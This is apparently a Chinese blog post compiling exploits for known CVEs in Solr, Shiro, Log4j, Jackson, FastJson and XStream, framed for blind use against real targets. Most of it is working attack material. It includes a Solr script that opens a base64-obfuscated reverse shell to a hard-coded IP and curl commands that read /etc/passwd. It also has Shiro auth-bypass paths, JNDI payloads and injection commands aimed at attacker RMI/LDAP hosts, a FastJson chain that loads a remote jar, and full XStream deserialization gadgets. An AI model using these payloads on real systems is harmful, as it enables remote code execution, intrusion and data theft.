组件安全(Solr、Shiro、Log4j、Jackson、FastJson、XStream)

news2024/11/20 12:30:53

Solr

主要基于HTTP和 Apache Lucene 实现的全文搜索服务器。
特征:图标识别

 端口:8393

CVE-2019-0193(远程命令执行漏洞)

漏洞版本:Apache Solr < 8.2.0

利用条件:

  1. Apache Solr DataImportHandler 启用了模块 DataImportHandler ( 默认不会被启用 )
  2. Solr admin UI未开启鉴权验证(默认情况无需任何验证)

POC:

<dataConfig>

<dataSource type="URLDataSource"/>

<script><![CDATA[

          function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");

}

]]></script>

<document>

<entity name="stackoverflow"

            url="https://stackoverflow.com/feeds/tag/solr"

            processor="XPathEntityProcessor"

            forEach="/feed"

            transformer="script:poc" />

</document>

</dataConfig>

 CVE-2019-17558(命令执行)

影响版本:Apache Solr 5.0.0版本至8.3.1

利用:直接使用工具执行命令

 工具:https://github.com/jas502n/solr_rce

CVE-2021-27905(文件读取)

全版本官方拒绝修复该漏洞。

利用:

  1. 获取数据库名  /solr/admin/cores?indexInfo=false&wt=json  数据库名demo
  2. 触发访问

    curl -i -s -k -X $'POST' \

        -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \

        $'http://目标地址:8983/solr/demo/config'

    3.任意文件读取

    curl -i -s -k 'http://目标地址:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

Shiro

 Java安全框架,能够用于身份验证、授权、加密和会话管理。

特征:数据包cookie中含有rememberMe字段

CVE_2016_4437

影响版本:Apache Shiro <= 1.2.4

利用:直接狐狸工具箱shiro工具梭哈

CVE-2020-11989

Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。
将Apache Shiro与Spring控制器一起使用时,特制请求可能会导致身份验证绕过。

影响版本:Apache Shiro < 1.7.1

POC:/admin/%20

CVE-2020-1957

Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。
Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon, authc等拦截器。anon为匿名拦截器,不需要登录即可访问;authc为登录拦截器,需要登录才可以访问。主要是Spring web在匹配url的时候没有匹配上/导致绕过

影响版本:Apache Shiro < 1.5.3

POC:/xxx/..;/admin/

Log4j

Apache 的一个开源项目,是一个基于 Java 的日志记录框架。

CVE-2021-44228

 Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。

影响版本:Apache Log4j2 2.0 - 2.15.0-rc1

漏洞产生原因:

  1. 对应漏洞存在版本
  2. 使用的logger.error(参数用户可控)  如果使用的logger.info不会有该漏洞
  3. 利用就是把error的参数改成下面我们使用jndi生成的链接;如果不成功,我们可以使用url编码的形式。

利用:

先利用jndi生成执行命令的url(rmi和ldap协议)

反弹shell的命令:

 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 47.94.236.117

 payload:

${jndi:rmi://192.168.1.5:1099/ixsfre}

或者对其采用url编码

 Jackson

当下流行的json解释器,主要负责处理 Json 的序列化和反序列化。

CVE-2020-8840

影响版本:2.0.0 <= FasterXML jackson-databind Version <= 2.10.1

jackson-databind中由于缺少某些xbean-reflect/JNDI黑名单类,如org.apache.xbean.propertyeditor.JndiConverter,可导致攻击者使用JNDI注入的方式实现远程代码执行 路径Jacksondatabind/attack

利用:

payload:

[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]

CVE-2020-35728

影响版本:FasterXML jackson-databind 2.< 2.9.10.8

jackson-databind存在一处反序列化远程代码执行漏洞(CVE-2020-35728),该漏洞是由于com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool组件库存在不安全的反序列化,导致攻击者可以利用漏洞实现远程代码执行。 路径Jacksondatabind/attack

payload:

payload = "[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"rmi://47.94.236.117:1099/gtaafz\"}]"

 FastJson

阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将 JavaBean 序列化为JSON字符串,也可以从JSON字符串反序列化到 JavaBean
思路:
如果我们发现目标使用java语言且数据包中使用json格式传输数据;那么我们此时就可以乱写一个数据,使其报错,然后查看其报错信息;可能会得知目标使用的组件。
我们如果不知道具体的组件,就可以把json的数据换成payload进行盲打。

FastJson版本<=1.2.24

源码:

pom.xml:

 <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>

    </dependencies>

 

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;



public class FastJson {
    public static void main(String[] args) {
        try {
            // 转换成object
            JSONObject jsonToObject = JSON.parseObject("{\n" +
                    "    \"a\":{\n" +
                    "        \"@type\":\"java.lang.Class\",\n" +
                    "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
                    "    },\n" +
                    "    \"b\":{\n" +
                    "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
                    "        \"dataSourceName\":\"rmi://192.168.1.5:1099/elkww5\",\n" +
                    "        \"autoCommit\":true\n" +
                    "    }\n" +
                    "}");

            //return jsonToObject.get("name").toString();
        } catch (Exception e) {
            //return e.toString();
        }
    }
}

 漏洞利用就是parseObject的参数可控,用户可以使用jndi注入执行任意命令。

payload:

String payload = "{\r\n"

         + "    \"a\": {\r\n"

         + "        \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \r\n"

         + "        \"dataSourceName\": \"rmi://127.0.0.1:1099/Object\", \r\n"

         + "        \"autoCommit\": true\r\n"

         + "    }\r\n"

         + "}";

FastJson版本<= 1.2.47

 

 <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.47</version>
        </dependency>

    </dependencies>

 与上面的唯一区别就是换了一个版本。

payload:

"{\n" +
                    "    \"a\":{\n" +
                    "        \"@type\":\"java.lang.Class\",\n" +
                    "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
                    "    },\n" +
                    "    \"b\":{\n" +
                    "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
                    "        \"dataSourceName\":\"rmi://192.168.1.5:1099/elkww5\",\n" +
                    "        \"autoCommit\":true\n" +
                    "    }\n" +
                    "}"

FastJson版本<= 1.2.80

上面两种使用的java自带的JdbcRowSetImpl,且使用的是jndi注入,这种对目标的jdk版本要求极高,否则很难成功。

对于<=1.2.80的高版本,我们只能使用目标项目中调用的组件和类文件。

如果目标使用了groovy外部库:可以使用如下POC:

public static void main(String[] args){

        //依赖1.2.76-1.2.80,依赖groovy
        //jar包写法见https://github.com/Lonely-night/fastjsonVul/tree/7f9d2d8ea1c27ae1f9c06076849ae76c25b6aff7
        String poc1 = "{\n" +
                "    \"@type\":\"java.lang.Exception\",\n" +
                "    \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
                "    \"unit\":{}\n" +
                "}";
        String poc2 = "{\n" +
                "    \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
                "    \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
                "    \"config\":{\n" +
                "        \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
                "        \"classpathList\":\"http://192.168.1.4:82/attack-1.jar\"\n" +
                "    }\n" +
                "}";
        System.out.println(poc1);
        System.out.println(poc2);
        try {
            JSON.parseObject(poc1);
        } catch (Exception e) {}
        JSON.parseObject(poc2);
    }
}

这个具体的攻击payload就要看目标引用的外部库和项目中的文件。

fastjsonPOC工具https://github.com/kezibei/fastjson_payload

在实战中我们也不知道目标引入的外部可和具体文件,我们只能根据POC进行盲打,不断的尝试。

XStream

开源 Java 类库,能将对象序列化成XML或XML反序列化为对象。

CVE-2021-21351

 XStream是一个简单的基于Java库,Java对象序列化到xml,反之亦然(即:可以轻易的将Java对象和xml文档相互转换)。 攻击者可以操纵已处理的输入流并替换或注入对象,从而执行从远程服务器加载的任意代码。
影响版本: Xstream <= 1.4.15
利用:
  1. 利用jndi生成rmi/ldap协议的链接
  2. 构造payload提交
  3. 以post形式提交数据,数据内容就是payload,记得修改content-type为xml

​​​​​​​反弹shell命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 47.94.236.117

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
      <m__DTMXRTreeFrag>
        <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
          <m__size>-10086</m__size>
          <m__mgrDefault>
            <__overrideDefaultParser>false</__overrideDefaultParser>
            <m__incremental>false</m__incremental>
            <m__source__location>false</m__source__location>
            <m__dtms>
              <null/>
            </m__dtms>
            <m__defaultHandler/>
          </m__mgrDefault>
          <m__shouldStripWS>false</m__shouldStripWS>
          <m__indexing>false</m__indexing>
          <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
            <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
              <javax.sql.rowset.BaseRowSet>
                <default>
                  <concurrency>1008</concurrency>
                  <escapeProcessing>true</escapeProcessing>
                  <fetchDir>1000</fetchDir>
                  <fetchSize>0</fetchSize>
                  <isolation>2</isolation>
                  <maxFieldSize>0</maxFieldSize>
                  <maxRows>0</maxRows>
                  <queryTimeout>0</queryTimeout>
                  <readOnly>true</readOnly>
                  <rowSetType>1004</rowSetType>
                  <showDeleted>false</showDeleted>
                  <dataSource>rmi://evil-ip:1099/example</dataSource>
                  <listeners/>
                  <params/>
                </default>
              </javax.sql.rowset.BaseRowSet>
              <com.sun.rowset.JdbcRowSetImpl>
                <default/>
              </com.sun.rowset.JdbcRowSetImpl>
            </fPullParserConfig>
            <fConfigSetInput>
              <class>com.sun.rowset.JdbcRowSetImpl</class>
              <name>setAutoCommit</name>
              <parameter-types>
                <class>boolean</class>
              </parameter-types>
            </fConfigSetInput>
            <fConfigParse reference='../fConfigSetInput'/>
            <fParseInProgress>false</fParseInProgress>
          </m__incrementalSAXSource>
          <m__walker>
            <nextIsRaw>false</nextIsRaw>
          </m__walker>
          <m__endDocumentOccured>false</m__endDocumentOccured>
          <m__idAttributes/>
          <m__textPendingStart>-1</m__textPendingStart>
          <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
          <m__pastFirstElement>false</m__pastFirstElement>
        </m__dtm>
        <m__dtmIdentity>1</m__dtmIdentity>
      </m__DTMXRTreeFrag>
      <m__dtmRoot>1</m__dtmRoot>
      <m__allowRelease>false</m__allowRelease>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

 

 CVE-2021-29505

 XStream是XStream(Xstream)团队的一个轻量级的、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。 通过该漏洞,攻击者构造特定的XML,绕过XStream的黑名单,最终触发反序列化造成任意代码执行。

影响版本:XStream <= 1.4.16

利用:

  1. 攻击机生成反弹shell的反序列化JNDI注入(java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "touch /tmp/success")
  2. 发送payload数据包

 payload:(记得payload中有两个地方需要改ip)

<java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
        <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                    <parsedMessage>true</parsedMessage>
                    <soapVersion>SOAP_11</soapVersion>
                    <bodyParts/>
                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                        <attachmentsInitialized>false</attachmentsInitialized>
                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                                    <names>
                                        <string>aa</string>
                                        <string>aa</string>
                                    </names>
                                    <ctx>
                                        <environment/>
                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                            <java.rmi.server.RemoteObject>
                                                <string>UnicastRef</string>
                                                <string>evil-ip</string>
                                                <int>1099</int>
                                                <long>0</long>
                                                <int>0</int>
                                                <long>0</long>
                                                <short>0</short>
                                                <boolean>false</boolean>
                                            </java.rmi.server.RemoteObject>
                                        </registry>
                                        <host>evil-ip</host>
                                        <port>1099</port>
                                    </ctx>
                                </candidates>
                            </aliases>
                        </nullIter>
                    </sm>
                </message>
            </value>
        </javax.naming.ldap.Rdn_-RdnEntry>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

思路:

我们在实战中确定目标是java环境,然后发现数据包中是以json/xml形式传输数据,那么我们就可以尝试上面这些payload进行盲打。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1609777.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

线上真实案例之执行一段逻辑后报错Communications link failure

1.问题发现 在开发某个项目的一个定时任务计算经销商返利的功能时&#xff0c;有一个返利监测的调度&#xff0c;如果某一天返利计算调度失败了&#xff0c;需要重新计算&#xff0c;这个监测的调度就会重新计算某天的数据。 在UAT测试通过&#xff0c;发布生产后&#xff0c…

【C++入门】类的6个默认成员函数、运算符重载、初始化列表、const成员、static成员

目录 引言 构造函数 引入构造函数 构造函数的特征 一些细节 析构函数 析构函数的特性 注意事项 拷贝构造函数 书写格式 使用细节 拷贝构造的典型应用场景 运算符重载 意义与格式 注意事项 赋值运算符重载 const成员 两个经典问题 再谈构造函数—初始化列…

『FPGA通信接口』汇总目录

Welcome 大家好&#xff0c;欢迎来到瑾芳玉洁的博客&#xff01; &#x1f611;励志开源分享诗和代码&#xff0c;三餐却无汤&#xff0c;顿顿都被噎。 &#x1f62d;有幸结识那个值得被认真、被珍惜、被捧在手掌心的女孩&#xff0c;不出意外被敷衍、被唾弃、被埋在了垃圾堆。…

使用http-parser解析http请求和响应数据

1 简介 http-parser是一个用C编写的HTTP消息解析器&#xff0c;专为高性能HTTP应用程序设计。它能够解析HTTP/1.0和HTTP/1.1的消息&#xff0c;包括头部、主体和连续行。当解析到特定的HTTP元素&#xff08;如请求行、头字段或消息体&#xff09;时&#xff0c;会触发相应的回调…

【前端面试3+1】15 CSS如隐藏元素、css块级元素和行内元素有哪些?两者有什么区别?、JavaScript中“==”与“===”的区别、【丢失的数字】

一、CSS如何隐藏元素&#xff1f; 1、使用 display: none; 这种方法会隐藏元素&#xff0c;并且不占据页面空间。元素会被完全移除&#xff0c;无法通过任何方式显示出来。 .hidden-element {display: none; }2、使用 visibility: hidden; 这种方法会隐藏元素&#xff0c;但仍然…

线段树汇总

线段树是一种二叉搜索树&#xff0c;与区间树相似&#xff0c;它将一个区间划分成一些单元区间&#xff0c;每个单元区间对应线段树中的一个叶结点。 使用线段树可以快速的查找某一个节点在若干条线段中出现的次数&#xff0c;时间复杂度为O(logN)。而未优化的空间复杂度为2N&a…

Office 2024安装教程(附免费安装包资源)

鼠标右击软件压缩包&#xff0c;选择“解压到Office 2024安装包”。 打开解压后的文件夹&#xff0c;鼠标右击“YAOCTRI_Installer”选择“以管理员身份运行”。 输入数字“1”自动开始安装。 软件正在安装&#xff0c;请耐心等待&#xff0c;谢谢。 安装完成&#xff0c;点击“…

浅析Redis④:字典dict实现

什么是dict&#xff1f; 在 Redis 中&#xff0c;dict 是指哈希表&#xff08;hash table&#xff09;的一种实现&#xff0c;用于存储键值对数据。dict 是 Redis 中非常常用的数据结构之一&#xff0c;用于实现 Redis 的键空间。 在 Redis 源码中&#xff0c;dict 是一个通用…

初学python记录:力扣39. 组合总和

题目&#xff1a; 给你一个 无重复元素 的整数数组 candidates 和一个目标整数 target &#xff0c;找出 candidates 中可以使数字和为目标数 target 的 所有 不同组合 &#xff0c;并以列表形式返回。你可以按 任意顺序 返回这些组合。 candidates 中的 同一个 数字可以 无限…

Electron 30.0.0 发布,升级 Node 和 V8 引擎

近日&#xff0c;Electron 30.0.0 正式发布&#xff01;你可以通过 npm install electronlatest 进行安装&#xff0c;或者从 Electron 的发布网站下载&#xff0c;继续阅读了解此版本的详细信息。 &#x1f525; 主要更新 Windows 上支持 ASAR 完整性融合。如果未正确配置&am…

【JAVA基础篇教学】第十一篇:Java中字符串操作详解

博主打算从0-1讲解下java基础教学&#xff0c;今天教学第十篇&#xff1a;Java中字符串操作详解。 在 Java 编程中&#xff0c;字符串是一种常见的数据类型&#xff0c;通常用于存储文本信息。Java 提供了丰富的字符串操作方法&#xff0c;可以对字符串进行分割、截取、查找…

网络变压器在网络分析仪上能通过测试,装上设备后网速达不到呢?

Hqst华轩盛(石门盈盛)电子导读&#xff1a;今天和大家一起探讨网络变压器在网络分析仪上能通过测试&#xff0c;装上设备后网通设备网速达不到的可能原因及其处理方式 一、出现这种情况可能有以下原因&#xff1a; 1.1. 设备兼容性问题&#xff1a;设备其它元器件与 网络…

快速掌握缓存技术:学习多个缓存供应商(ehcache,redis,memcached,jetcache,j2cache)

缓存技术 缓存模拟缓存Spring缓存技术第三方缓存技术Ehcache缓存供应Redis缓存memcached缓存&#xff08;国内&#xff09; jetcache缓存供应商jetcache的基本使用设置外部服务设置本地服务 jetcache方法缓存j2cache 缓存 什么是缓存 缓存是一种介于数据永久存储介质与数据应用…

graphviz嵌入latex的方法

效果&#xff1a; graphviz graphviz是一个开源的工具包&#xff0c;用DOT语言编写可以自动转换成图形&#xff0c;因为写法非常简单&#xff0c;只用代码描述好连接关系&#xff0c;就能直接得到最终的图形&#xff0c;所以优势很大。 latex&#xff1a; 就不介绍了 graphvi…

单片机项目中太多全局变量有什么弊端?

最近有读者遇到了这样的问题&#xff1a; 入职接到前同事丢下的“烂摊子”&#xff0c;项目中很多全局变量 问我&#xff1a;全局变量太多有哪些弊端&#xff1f;该如何规避&#xff0c;以及如何管理全局变量等。 全局变量太多有哪些弊端&#xff1f; 真正做过项目的同学应该都…

备战2024年上海初中生古诗文大会:单选题真题示例和独家解析

上海市中小学生的初中生古诗文大会——即上海中学生古诗文大会&#xff08;初中组&#xff09;和小学生古诗文大会&#xff08;比赛&#xff09;除了题型略有不同外&#xff0c;最主要的是考察的内容深度和广度不同&#xff0c;初中的题目中对于文言文的考察大幅增加&#xff0…

SpringBoot相关知识点总结

1 SpringBoot的目的 简化开发&#xff0c;开箱即用。 2 Spring Boot Starter Spring Boot Starter 是 Spring Boot 中的一个重要概念&#xff0c;它是一种提供依赖项的方式&#xff0c;可以帮助开发人员快速集成各种第三方库和框架。Spring Boot Starter 的目的是简化 Sprin…

C语言数据结构之顺序表

目录 1.线性表2.顺序表2.1顺序表相关概念及结构2.2增删查改等接口的实现 3.数组相关例题 1.线性表 线性表&#xff08;linear list&#xff09;是n个具有相同特性&#xff08;数据类型相同&#xff09;的数据元素的有限序列。 线性表是一种在实际中广泛使用的数据结构&#xff…

【RV1106的ISP使用记录之基础知识】硬件连接关系与设备树的构建

RV1106具备2个mipi csi2 dphy硬件&#xff0c;1个VICAP硬件和1个ISP硬件。其中&#xff1a; 1、mipi csi2 dphy 用于对数据流的解析&#xff0c;支持MIPC,LVDS,DVP三种接口&#xff1b; 2、VICAP用于数据流的捕获&#xff1b; 3、ISP用于对图像数据进行处理&#xff1b; 这三个…

【QTM中文教程】01:Quick Terrain Modeller介绍、下载与安装

文章目录 一、Quick Terrain Modeller简介二、Quick Terrain Modeller特点功能三、Quick Terrain Modeller下载安装1. 下载地址2. 安装教程一、Quick Terrain Modeller简介 Quick Terrain Modeler(QTM)是一种专业的地形建模软件,用于处理和分析地形数据。它提供了一系列功能…